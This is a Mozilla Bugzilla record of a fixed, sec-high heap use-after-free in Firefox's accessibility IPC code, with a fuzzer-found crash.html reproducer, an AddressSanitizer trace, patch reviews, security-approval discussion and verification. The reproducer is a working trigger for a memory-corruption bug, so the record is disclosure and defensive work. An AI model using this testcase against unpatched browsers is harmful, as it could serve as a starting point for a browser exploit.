heap-use-after-free in mozilla::a11y::ProxyAccessible::SetChildDoc

VERIFIED FIXED in Firefox 49

Status

()

Core
Disability Access APIs
VERIFIED FIXED
a year ago
7 months ago

People

(Reporter: Nils, Assigned: tbsaunde)

Tracking

({csectype-uaf, sec-high})

50 Branch
mozilla50
csectype-uaf, sec-high
Points:
---
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(firefox48 disabled, firefox49+ verified, firefox-esr45 disabled, firefox50 verified)

Details

Attachments

(2 attachments)

(Reporter)

Description

a year ago
testcase
The testcase crashes the latest asan build of Firefox (BuildID=20160613161626) as follows.

crash.html:

<script>
function start() {
        o0=window.document;
        o14=o0.createRange();
        o37=o0.createElement('iframe');
        o37.src='data:text/html,<html>';
        o182=(new DOMParser()).parseFromString('','text/html');
        o184=o182.all[1];
        window.top.setTimeout(f1, 4);
}
function f1() {
        o218=o0.createElement('tt');
        o184.innerHTML="<svg preserveAspectRatio'><foreignObject>";
        o223=o184.querySelectorAll('*')[0];
        o224=o184.querySelectorAll('*')[1];
        o224.appendChild(o37);
        o224.appendChild(o218);
        o14.setEndAfter(o218);
        o309=o0.createElement('iframe');
        o309.src='data:text/html,<html>';
        o309.addEventListener('load', f2,false);
        o14.insertNode(o309);
        document.documentElement.appendChild(o223);
        o309.setAttribute('role','rowheader');
}
function f2() {
        o498=o0.createElement('head');
        o0.documentElement.appendChild(o498);
        o499=o0.createElement('style');
        o498.appendChild(o499);
        o499.textContent="* { -moz-perspective: 5rem";
        setTimeout("location.reload()",400);
}
</script>
<body onload="start()"></body>


Asan output:

=================================================================
==14739==ERROR: AddressSanitizer: heap-use-after-free on address 0x60400050ac58 at pc 0x7f68a9eff75a bp 0x7fff88bf0f60 sp 0x7fff88bf0f58
READ of size 8 at 0x60400050ac58 thread T0
    #0 0x7f68a9eff759 in Length /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:361
    #1 0x7f68a9eff759 in Clear /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:1666
    #2 0x7f68a9eff759 in mozilla::a11y::ProxyAccessible::SetChildDoc(mozilla::a11y::DocAccessibleParent*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/ipc/ProxyAccessible.cpp:60
    #3 0x7f68a9efe5ae in mozilla::a11y::DocAccessibleParent::RemoveChildDoc(mozilla::a11y::DocAccessibleParent*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/ipc/DocAccessibleParent.h:112
    #4 0x7f68a9efe258 in mozilla::a11y::DocAccessibleParent::Destroy() /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/ipc/DocAccessibleParent.cpp:406
    #5 0x7f68a9efdfbd in mozilla::a11y::DocAccessibleParent::RecvShutdown() /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/ipc/DocAccessibleParent.cpp:376
    #6 0x7f68a37d16cf in mozilla::a11y::PDocAccessibleParent::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PDocAccessibleParent.cpp:6547
    #7 0x7f68a36d2dec in mozilla::dom::PContentParent::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PContentParent.cpp:4148
    #8 0x7f68a2d8e303 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1658
    #9 0x7f68a2d8b05a in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1596
    #10 0x7f68a2d78185 in mozilla::ipc::MessageChannel::OnMaybeDequeueOne() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1563
    #11 0x7f68a2d9e1b0 in applyImpl<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::*)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:722
    #12 0x7f68a2d9e1b0 in apply<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::*)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:728
    #13 0x7f68a2d9e1b0 in nsRunnableMethodImpl<bool (mozilla::ipc::MessageChannel::*)(), false, true>::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:756
    #14 0x7f68a2d9ec7f in Run /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:476
    #15 0x7f68a2d9ec7f in mozilla::ipc::MessageChannel::DequeueTask::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:495
    #16 0x7f68a1ff77c4 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:1029
    #17 0x7f68a20726aa in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290
    #18 0x7f68a2d9582e in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:100
    #19 0x7f68a2d043fc in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235
    #20 0x7f68a2d043fc in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228
    #21 0x7f68a2d043fc in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208
    #22 0x7f68a866c617 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156
    #23 0x7f68aa5a0b68 in nsAppStartup::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/components/startup/nsAppStartup.cpp:284
    #24 0x7f68aa6e8f69 in XREMain::XRE_mainRun() /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsAppRunner.cpp:4389
    #25 0x7f68aa6ea368 in XREMain::XRE_main(int, char**, nsXREAppData const*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsAppRunner.cpp:4493
    #26 0x7f68aa6eb232 in XRE_main /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsAppRunner.cpp:4598
    #27 0x48a151 in do_main /builds/slave/m-cen-l64-asan-000000000000000/build/src/browser/app/nsBrowserApp.cpp:254
    #28 0x48a151 in main /builds/slave/m-cen-l64-asan-000000000000000/build/src/browser/app/nsBrowserApp.cpp:427
    #29 0x7f68bee3882f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #30 0x48940c in _start (/home/nils/fuzzer3/firefox/firefox+0x48940c)

0x60400050ac58 is located 8 bytes inside of 48-byte region [0x60400050ac50,0x60400050ac80)
freed by thread T0 here:
    #0 0x471821 in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64
    #1 0x7f68a2051773 in RawRemove /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/PLDHashTable.cpp:650
    #2 0x7f68a2051773 in PLDHashTable::Remove(void const*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/PLDHashTable.cpp:620
    #3 0x7f68a9efefc8 in mozilla::a11y::ProxyAccessible::Shutdown() /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/ipc/ProxyAccessible.cpp:38
    #4 0x7f68a9efb993 in mozilla::a11y::DocAccessibleParent::RecvHideEvent(unsigned long const&, bool const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/ipc/DocAccessibleParent.cpp:175
    #5 0x7f68a37d1943 in mozilla::a11y::PDocAccessibleParent::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PDocAccessibleParent.cpp:6588
    #6 0x7f68a36d2dec in mozilla::dom::PContentParent::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PContentParent.cpp:4148
    #7 0x7f68a2d8e303 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1658
    #8 0x7f68a2d8b05a in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1596
    #9 0x7f68a2d78185 in mozilla::ipc::MessageChannel::OnMaybeDequeueOne() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1563
    #10 0x7f68a2d9e1b0 in applyImpl<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::*)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:722
    #11 0x7f68a2d9e1b0 in apply<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::*)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:728
    #12 0x7f68a2d9e1b0 in nsRunnableMethodImpl<bool (mozilla::ipc::MessageChannel::*)(), false, true>::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:756
    #13 0x7f68a2d9ec7f in Run /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:476
    #14 0x7f68a2d9ec7f in mozilla::ipc::MessageChannel::DequeueTask::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:495
    #15 0x7f68a1ff77c4 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:1029
    #16 0x7f68a20726aa in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290
    #17 0x7f68a2d95822 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:132
    #18 0x7f68a2d043fc in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235
    #19 0x7f68a2d043fc in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228
    #20 0x7f68a2d043fc in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208
    #21 0x7f68a866c617 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156
    #22 0x7f68aa5a0b68 in nsAppStartup::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/components/startup/nsAppStartup.cpp:284
    #23 0x7f68aa6e8f69 in XREMain::XRE_mainRun() /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsAppRunner.cpp:4389
    #24 0x7f68aa6ea368 in XREMain::XRE_main(int, char**, nsXREAppData const*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsAppRunner.cpp:4493
    #25 0x7f68aa6eb232 in XRE_main /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsAppRunner.cpp:4598
    #26 0x48a151 in do_main /builds/slave/m-cen-l64-asan-000000000000000/build/src/browser/app/nsBrowserApp.cpp:254
    #27 0x48a151 in main /builds/slave/m-cen-l64-asan-000000000000000/build/src/browser/app/nsBrowserApp.cpp:427
    #28 0x7f68bee3882f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291

previously allocated by thread T0 here:
    #0 0x471a21 in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74
    #1 0x48b00d in moz_xmalloc /builds/slave/m-cen-l64-asan-000000000000000/build/src/memory/mozalloc/mozalloc.cpp:83
    #2 0x7f68a9efabf1 in operator new /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:193
    #3 0x7f68a9efabf1 in mozilla::a11y::DocAccessibleParent::AddSubtree(mozilla::a11y::ProxyAccessible*, nsTArray<mozilla::a11y::AccessibleData> const&, unsigned int, unsigned int) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/ipc/DocAccessibleParent.cpp:106
    #4 0x7f68a9efafba in mozilla::a11y::DocAccessibleParent::AddSubtree(mozilla::a11y::ProxyAccessible*, nsTArray<mozilla::a11y::AccessibleData> const&, unsigned int, unsigned int) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/ipc/DocAccessibleParent.cpp:116
    #5 0x7f68a9efa41b in mozilla::a11y::DocAccessibleParent::RecvShowEvent(mozilla::a11y::ShowEventData const&, bool const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/ipc/DocAccessibleParent.cpp:48
    #6 0x7f68a37d187f in mozilla::a11y::PDocAccessibleParent::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PDocAccessibleParent.cpp:6629
    #7 0x7f68a36d2dec in mozilla::dom::PContentParent::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PContentParent.cpp:4148
    #8 0x7f68a2d8e303 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1658
    #9 0x7f68a2d8b05a in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1596
    #10 0x7f68a2d78185 in mozilla::ipc::MessageChannel::OnMaybeDequeueOne() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1563
    #11 0x7f68a2d9e1b0 in applyImpl<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::*)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:722
    #12 0x7f68a2d9e1b0 in apply<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::*)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:728
    #13 0x7f68a2d9e1b0 in nsRunnableMethodImpl<bool (mozilla::ipc::MessageChannel::*)(), false, true>::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:756
    #14 0x7f68a2d9ec7f in Run /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:476
    #15 0x7f68a2d9ec7f in mozilla::ipc::MessageChannel::DequeueTask::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:495
    #16 0x7f68a1ff77c4 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:1029
    #17 0x7f68a20726aa in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290
    #18 0x7f68a2d95822 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:132
    #19 0x7f68a2d043fc in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235
    #20 0x7f68a2d043fc in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228
    #21 0x7f68a2d043fc in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208
    #22 0x7f68a866c617 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156
    #23 0x7f68aa5a0b68 in nsAppStartup::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/components/startup/nsAppStartup.cpp:284
    #24 0x7f68aa6e8f69 in XREMain::XRE_mainRun() /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsAppRunner.cpp:4389
    #25 0x7f68aa6ea368 in XREMain::XRE_main(int, char**, nsXREAppData const*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsAppRunner.cpp:4493
    #26 0x7f68aa6eb232 in XRE_main /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsAppRunner.cpp:4598
    #27 0x48a151 in do_main /builds/slave/m-cen-l64-asan-000000000000000/build/src/browser/app/nsBrowserApp.cpp:254
    #28 0x48a151 in main /builds/slave/m-cen-l64-asan-000000000000000/build/src/browser/app/nsBrowserApp.cpp:427
    #29 0x7f68bee3882f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291

SUMMARY: AddressSanitizer: heap-use-after-free /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:361 Length
Shadow bytes around the buggy address:
  0x0c0880099530: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
  0x0c0880099540: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
  0x0c0880099550: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c0880099560: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
  0x0c0880099570: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
=>0x0c0880099580: fa fa 00 00 00 00 00 00 fa fa fd[fd]fd fd fd fd
  0x0c0880099590: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
  0x0c08800995a0: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
  0x0c08800995b0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
  0x0c08800995c0: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fd
  0x0c08800995d0: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Contiguous container OOB:fc
  ASan internal:           fe
==14739==ABORTING
Group: core-security → dom-core-security
Keywords: csectype-uaf, sec-high
Flags: sec-bounty?
(Assignee)

Comment 1

a year ago
Created attachment 8763897 [details] [diff] [review]
avoid invalid proxy OuterDocAccessibles

Before binding a child document to an outer doc proxy we need to make sure it
Outer doc proxies are only allowed to have one child which is the document they
own.  So before we bind a proxied document to a proxied outer doc we need to
make sure the outer doc either doesn't have children or has a document we can
unbind.
Attachment #8763897 - Flags: review?(dbolter)
(Assignee)

Comment 2

a year ago
Created attachment 8763899 [details] [diff] [review]
allow destroying proxies without a wrapper

We can sometimes call ProxyDestroyed() on a proxy that never had a wrapper set
up so we should just bail out of ProxyDestroyed() in that case because there is
nothing to do.
Attachment #8763899 - Flags: review?(dbolter)
Assignee: nobody → tbsaunde+mozbugs
Comment on attachment 8763897 [details] [diff] [review]
avoid invalid proxy OuterDocAccessibles

Review of attachment 8763897 [details] [diff] [review]:
-----------------------------------------------------------------

This looks like it does what you intend and thank you for the great commit description (as usual). One nit is I think 'it' should be 'its' in the first line.

::: accessible/ipc/DocAccessibleParent.cpp
@@ +371,5 @@
>    MOZ_ASSERT(outerDoc);
>  
> +  // OuterDocAccessibles are expected to only have a document as a child.
> +  // However for compatibility we tolerate replacing one document with another
> +  // here.

For compatibility with what?
Attachment #8763897 - Flags: review?(dbolter) → review+
Comment on attachment 8763899 [details] [diff] [review]
allow destroying proxies without a wrapper

Review of attachment 8763899 [details] [diff] [review]:
-----------------------------------------------------------------

nit: too many line spaces in commit message.
Attachment #8763899 - Flags: review?(dbolter) → review+
(Assignee)

Comment 5

a year ago
> ::: accessible/ipc/DocAccessibleParent.cpp
> @@ +371,5 @@
> >    MOZ_ASSERT(outerDoc);
> >  
> > +  // OuterDocAccessibles are expected to only have a document as a child.
> > +  // However for compatibility we tolerate replacing one document with another
> > +  // here.
> 
> For compatibility with what?

OuterDocAccessible, guess it wouldn't hurt to put that in the comment though I was worried that many uses of OuterDocAccessible would be confusing.
https://hg.mozilla.org/mozilla-central/rev/745976d9de37
https://hg.mozilla.org/mozilla-central/rev/05f02db631b0
Status: NEW → RESOLVED
Last Resolved: a year ago
status-firefox50: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla50
Group: dom-core-security → core-security-release
Flags: sec-bounty? → sec-bounty+
The fix for this security bug landed without sec-approval.
https://wiki.mozilla.org/Security/Bug_Approval_Process

Please request retroactive sec-approval on the patch and answer the questions in the form so we can figure out which branches need this fix and the risks of taking it.
status-firefox48: --- → ?
status-firefox49: --- → ?
status-firefox-esr45: --- → ?
Flags: needinfo?(tbsaunde+mozbugs)
(Assignee)

Comment 8

a year ago
(In reply to Daniel Veditz [:dveditz] from comment #7)
> The fix for this security bug landed without sec-approval.
> https://wiki.mozilla.org/Security/Bug_Approval_Process
> 
> Please request retroactive sec-approval on the patch and answer the
> questions in the form so we can figure out which branches need this fix and
> the risks of taking it.

sorry, I thought it wasn't necessary for bugs that only effect nightly / aurora which should be true here, because this is e10s only, and we aren't shipping e10s to users with accessibility on at this point.
Flags: needinfo?(tbsaunde+mozbugs)
(Assignee)

Comment 9

a year ago
Comment on attachment 8763899 [details] [diff] [review]
allow destroying proxies without a wrapper

[Security approval request comment]
How easily could an exploit be constructed based on the patch?probably not to easy, I don't think its very clear from the patch how to trigger an invalid state.  Once you do that its a pretty standard UAF.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?not really

Which older supported branches are affected by this flaw?only aurora e10s and accessibility isn't being shipped yet, and this is e10s specific.

If not all supported branches, which bug introduced the flaw?I think the bug itself has been around a long time, probably when this code was written a year ago.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?the patch should apply, it shouldn't have any real risk since the code doesn't run.

How likely is this patch to cause regressions; how much testing does it need?its not a well tested area, but trunk is the only place it effects and its been in use there so n/a I guess.
Attachment #8763899 - Flags: sec-approval?
Comment on attachment 8763899 [details] [diff] [review]
allow destroying proxies without a wrapper

Can we get an Aurora (49) patch made and nominated so we don't ship this with e10s when 49 goes out? 

Sec-approval is required for anything which isn't trunk only if it is sec-high or sec-critical (or unrated).
Attachment #8763899 - Flags: sec-approval? → sec-approval+
status-firefox48: ? → disabled
status-firefox49: ? → affected
status-firefox-esr45: ? → disabled
tracking-firefox49: --- → +
(Assignee)

Comment 11

a year ago
(In reply to Al Billings [:abillings] from comment #10)
> Comment on attachment 8763899 [details] [diff] [review]
> allow destroying proxies without a wrapper
> 
> Can we get an Aurora (49) patch made and nominated so we don't ship this
> with e10s when 49 goes out? 

we won't ship e10s to any users with accessibility on, but the patch should apply so I guess we might as well get it back ported.
(Assignee)

Comment 12

a year ago
Comment on attachment 8763899 [details] [diff] [review]
allow destroying proxies without a wrapper

Approval Request Comment
[Feature/regressing bug #]:e10s a11y work.
[User impact if declined]:security bug / crashes
[Describe test coverage new/current, TreeHerder]:its been on trunk for a couple days.
[Risks and why]: very low, this code isn't enabled after aurora.
[String/UUID change made/needed]:none
Attachment #8763899 - Flags: approval-mozilla-aurora?
Attachment #8763899 - Flags: approval-mozilla-aurora? → approval-mozilla-aurora+
https://hg.mozilla.org/releases/mozilla-aurora/rev/849d3bd0de05dade0a4e6cf1528ee7a63e85616d
https://hg.mozilla.org/releases/mozilla-aurora/rev/2a0945d032b12dd57f8e599b35a4d76f3557350e
status-firefox49: affected → fixed
Unable to reproduce the crash on mozilla-central-linux64-asan build from 2016-06-13, Ubuntu 14.04.
Nils, could you please test the following builds and make sure they no longer reproduce the problem:
https://archive.mozilla.org/pub/firefox/tinderbox-builds/mozilla-release-linux64-asan/1473198736/
https://archive.mozilla.org/pub/firefox/tinderbox-builds/mozilla-aurora-linux64-asan/1473214275/
Thanks.
Flags: needinfo?(nils)
(Reporter)

Comment 15

a year ago
Yes, can confirm that test testcase doesn't reproduce on both builds
Flags: needinfo?(nils)
Thank you.
Status: RESOLVED → VERIFIED
status-firefox49: fixed → verified
status-firefox50: fixed → verified
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.